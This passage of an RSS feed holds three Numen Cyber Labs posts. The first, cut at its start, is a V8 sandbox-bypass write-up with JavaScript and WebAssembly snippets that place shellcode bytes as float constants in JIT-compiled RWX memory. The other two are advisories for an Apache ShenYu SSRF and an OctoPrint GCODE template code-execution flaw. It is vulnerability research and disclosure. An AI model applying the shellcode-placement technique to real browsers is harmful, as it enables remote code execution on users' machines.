max(PartitionAlloc addr) then crash))</strong></pre><h3><strong>02 - Searching for New Attacking Surfaces</strong></h3><p>After confirming that I hadn’t fully bypassed the system, I immediately contacted the event organizers via email to request a later update to my presentation. Then, restless and unable to sleep, I continued my attempts until 3 am when I thought I might have stumbled upon a new bypass method. After a short break, I resumed my efforts at 5 am, and following thorough debugging, I ultimately confirmed a complete bypass.</p><p>To bypass the V8 sandbox, we need to achieve full address hijacking and ensure stable shellcode address jumping. In other words, we need reliable RWX/RX address computation. Previously, we disclosed a WASM bypass for the latest version of the V8 sandbox using Function’s native pointer hijacking. However, after our disclosure, Google quickly moved the function parameter allocation in WASM to readable and writable memory, preventing us from placing our desired shellcode within WASM. Here, we first require pointer hijacking, which isn’t too difficult. I believe this is a point Google overlooked, as illustrated below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnPIqWQrw9O7_c0Mm03qLg.png" /></figure><p>Any Chrome researcher, when crafting an exploit, will pinpoint this pointer in memory, then calculate the WASM address, and just like before, inject the shellcode. However, Google hasn’t encapsulated this Native pointer.</p><p>After closely examining the JIT-optimized shellcode provided by Manyuemo, I’ve noticed that even in the latest version of Chrome, optimized floating-point numbers are still placed in RWX memory. The challenge lies in reliably calculating this address. I haven’t delved into the source code for address computation post-JIT, as time is of the essence.</p><pre>function fun() {<br>    // 1.123=3ff1f7ced916872b<br>    return [1.123, 1.134, 1.345];<br>}<br>for (let i = 0; i &lt; 0x5000; i++) {<br>    fun(0);<br>}<br>fun();</pre><pre>55D9B81040B8 - mov eax,00000006 { 6 }<br>55D9B81040BD - mov [rdi+03],eax<br>55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }<br>55D9B81040CA - vmovq xmm0,r10<br>55D9B81040CF - vmovsd [rdi+07],xmm0<br>55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }<br>55D9B81040DE - vmovq xmm0,r10<br>55D9B81040E3 - vmovsd [rdi+0F],xmm0<br>55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }<br>55D9B81040F2 - vmovq xmm0,r10</pre><p>I’d like to share a little side note here. Often, after pulling off an exploit, there are points I’m not entirely clear on as to why they worked. With the boss pressing for results and the theoretical foundation not being robust under the given circumstances, all I could do was keep trying to find that method to pop up the calculator. Typically, once an exploit is completed, I’d quickly report to my superiors, and the underlying reasons and principles would be something to delve into later. I believe much of the progress over the past few years has been the result of relentless trial and error.</p><h3><strong>03 - WASM’s JIT</strong></h3><p>Drawing from Manyuemo’s JIT function, I suspect that if a V8 sandbox bypass exists, it’s likely to be found in some other peripheral areas. For instance, in WASM, WebAudio, WebSQL, and so on — areas where writing exploits used to be straightforward but where Google has been consistently beefing up security. So, I decided to give WASM function JIT a shot. Sure enough, I discovered that even after optimization, WASM functions would place parameters in RWX memory.</p><p>wat code</p><pre>(module<br>  (func (export &quot;main&quot;) (result f64)<br>    ;; -6.654614018578406e+60=CC90909090909090<br>    f64.const -6.654614018578406e+60<br>    ;; 1.124=3ff1fbe76c8b4396<br>    f64.const 1.124<br>    ;; 1.125=3ff2000000000000<br>    f64.const 1.125<br>    ;; 1.126=3ff204189374bc6a<br>    f64.const 1.126<br>    drop<br>    drop<br>    drop<br>))</pre><pre>var wasmCode = new Uint8Array([...wasm..binary…]);<br>var wasmModule = new WebAssembly.Module(wasmCode);<br>var wasmInstance = new WebAssembly.Instance(wasmModule);<br>var f = wasmInstance.exports.main;<br>for (let i = 0; i &lt; 0x10000; i++) {<br>   f();<br>}<br>%DebugPrint(wasmInstance);</pre><p>javascript test code generated code</p><pre>355CEAE43715 - jbe 355CEAE43771<br>355CEAE4371B - mov r10,<strong>CC90909090909090</strong> { -1869574000 }<br>355CEAE43725 - vmovq xmm0,r10<br>355CEAE4372A - mov r10,<strong>3FF1FBE76C8B4396</strong> { 1.12 }<br>355CEAE43734 - vmovq xmm1,r10<br>355CEAE43739 - mov r10,<strong>3FF2000000000000</strong> { 1.13 }<br>355CEAE43743 - vmovq xmm2,r10<br>355CEAE43748 - mov r10,<strong>3FF204189374BC6A</strong> { 1.13 }<br>355CEAE43752 - vmovq xmm3,r10</pre><h3><strong>04 - Demonstration</strong></h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F8TSN0FYAzpU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D8TSN0FYAzpU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F8TSN0FYAzpU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a850e92e861c8d72d46b6a74ec014000/href">https://medium.com/media/a850e92e861c8d72d46b6a74ec014000/href</a></iframe><h3><strong>05 - Conclusion</strong></h3><p>While balancing JIT performance, much like the previous WASM bypasses, we have to consider setting longer, predictable constants like floating-point numbers to R/RW, or concurrently fix their predictable addressing methods. If not, attackers could easily achieve stable shellcode execution.</p><h3><strong>06 - Reference</strong></h3><p><a href="https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/">https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/</a><br><a href="https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14">https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14</a><br><a href="https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078">https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078</a><br><a href="https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf">https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf</a><br><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1452137">https://bugs.chromium.org/p/chromium/issues/detail?id=1452137</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=639c4c05b157" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Numen Cyber Labs vulnerability researchers have discovered an SSRF vulnerability in Apache ShenYu<…]]></title>
            <link>https://medium.com/@numencyberlabs/numen-security-labs-vulnerability-researchers-have-discovered-an-ssrf-vulnerability-in-apache-3f9c5f51e4a0?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f9c5f51e4a0</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[apache-shenyu]]></category>
            <category><![CDATA[numencyber]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 07:07:55 GMT</pubDate>
            <atom:updated>2023-10-27T07:29:02.883Z</atom:updated>
            <content:encoded><![CDATA[<h3>Numen Cyber Labs vulnerability researchers have discovered an SSRF vulnerability in Apache ShenYu&lt; version 2.6</h3><h3>Preface</h3><p>Apache ShenYu is a Java native API Gateway for service proxy, protocol conversion and API governance.</p><p><strong>Description</strong></p><p>Numen Cyber Labs vulnerability researchers have discovered an SSRF vulnerability in Apache ShenYu&lt; version 2.6.</p><p><strong>CVE ID</strong></p><p><a href="https://www.cve.org/CVERecord?id=CVE-2023-25753">CVE-2023–25753</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*pXTV67jRKD3N80Ay37gkbA.png" /></figure><p><strong>Impacts version</strong></p><p>&lt; 2.6</p><p><strong>Analysis</strong></p><p>org.apache.shenyu.admin.controller.SandboxController#proxyGateway receives proxyGatewayDTO, calls requestProxyGateway method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*di0QMweTYTJQfWWoX14ErQ.png" /></figure><p>ProxyGatewayDTO has requestUrl, cookie, headers, httpMethod parameters</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*eCstnr4VXGbftaTo0W8E0w.png" /></figure><p>requestProxyGateway method gets the parameters in the ProxyGatewayDTO, call org.apache.shenyu.admin.utils.HttpUtils#requestCall to launch the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*EHa2VBO5jQ1fhSBZSiVigg.png" /></figure><p>requestCall is used to build the http request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*dsVF3UippxIP1S08Exgonw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*uArOcc9D0VhjhpmBQVOElQ.png" /></figure><p>From the above flow you can see that there is no restriction on this request, we can use requestProxyGateway to utilize to send arbitrary http request as the URI, HTTP request method, header are all controllable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wwPN0kVKV0KjfFU2" /></figure><p><strong>Attack Surfaces</strong></p><p>In addition to the usual SSRF exploitation methods, it is also possible to attack the local shenyu-bootstrap service on port 9195.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dz5mLwhR5LjuHDEP.png" /></figure><p><strong>Fixes</strong></p><p>Blacklist restrictions on ports have been made in the latest version!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*wZ8SOkIeJnEpCEdiD-UO2Q.png" /></figure><p><strong>Reference</strong></p><p><a href="https://www.cve.org/CVERecord?id=CVE-2023-25753">https://www.cve.org/CVERecord?id=CVE-2023-25753</a></p><p><a href="https://shenyu.apache.org/zh/docs/index">https://shenyu.apache.org/zh/docs/index</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f9c5f51e4a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OctoPrint Remote Code Execution Vulnerability]]></title>
            <link>https://medium.com/@numencyberlabs/octoprint-remote-code-execution-vulnerability-7e36372d6c2b?source=rss-bb6501fe37e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e36372d6c2b</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[numencyber]]></category>
            <category><![CDATA[octoprint]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Numen Cyber Labs]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 06:36:25 GMT</pubDate>
            <atom:updated>2023-10-27T06:36:25.440Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/249/0*bcKGYBxH_IHV584o.png" /></figure><h3>Preface</h3><p>OctoPrint is an open source 3D printer controller application that provides a web interface for connected printers. It displays printer status and key parameters, and supports scheduling print jobs and controlling the printer remotely.</p><h3>Description</h3><p>Numen Security Labs vulnerability researchers have discovered in OctoPrint version less than or equal to 1.9.2 that print job execution is configured with a specially crafted GCODE language script that would allow arbitrary code to be executed during the rendering of that script.</p><h3>CVE ID</h3><p>CVE-2023–41047</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*3IFYUBivvB5uwuUJ.png" /></figure><h3>Affected Versions</h3><p>&lt; 1.9.3</p><h3>Analysis</h3><p>src/octoprint/server/api/settings.py#getSettings()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lGfd1oZqvDq-wrUA.png" /></figure><p>Counterparts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/0*Ny2j3A-GPxpIBF_V.png" /></figure><p>Passing the gcode to the loadScript function of the s object</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M2eS9PKFM2A1BXwG.png" /></figure><p>The s object comes from</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e3DHrQGPf-WD25FE.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*77pOqwsZDyHvM_i4.png" /></figure><p>src/octoprint/settings/__init__.py#loadScript()</p><p>Render using the template.render function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OhCMFfVXODzb0nOS.png" /></figure><p>The template object comes from the _get_script_template function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*whFfWKDsZkbR7Yjc.png" /></figure><p>The vulnerability is triggered by an insecure rendering of gcode, where no security measures are taken in OctoPrint, leading to this issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PpTtNzCAhQbnbFDB.png" /></figure><h3>Fixes</h3><p>Version 1.9.3 adds a security sandbox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KYEufa_vhZAxvkmk.png" /></figure><h3>Timeline</h3><ul><li>2023–8–31 Report vulnerabilities to the OctoPrint team</li><li>2023–8–31 Received a response from the OctoPrint team confirming the existence of the vulnerability</li><li>2023–10–10 Fixing security vulnerabilities and releasing OctoPrint 1.9.3</li><li>2023–10–10 Public CVE</li></ul><h3>Internet Influence</h3><p>More than 20,000 exposed OctoPrints were found through fofa, shodan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TihlQC6sZiuPGw8-.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*anFHlmc9B4ddFxD3.png" /></figure><h3>Reference</h3><p><a href="https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3">https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3</a></p><p><a href="https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph">https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph</a></p><p><a href="https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db">https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41047">https://nvd.nist.gov/vuln/detail/CVE-2023-41047</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e36372d6c2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>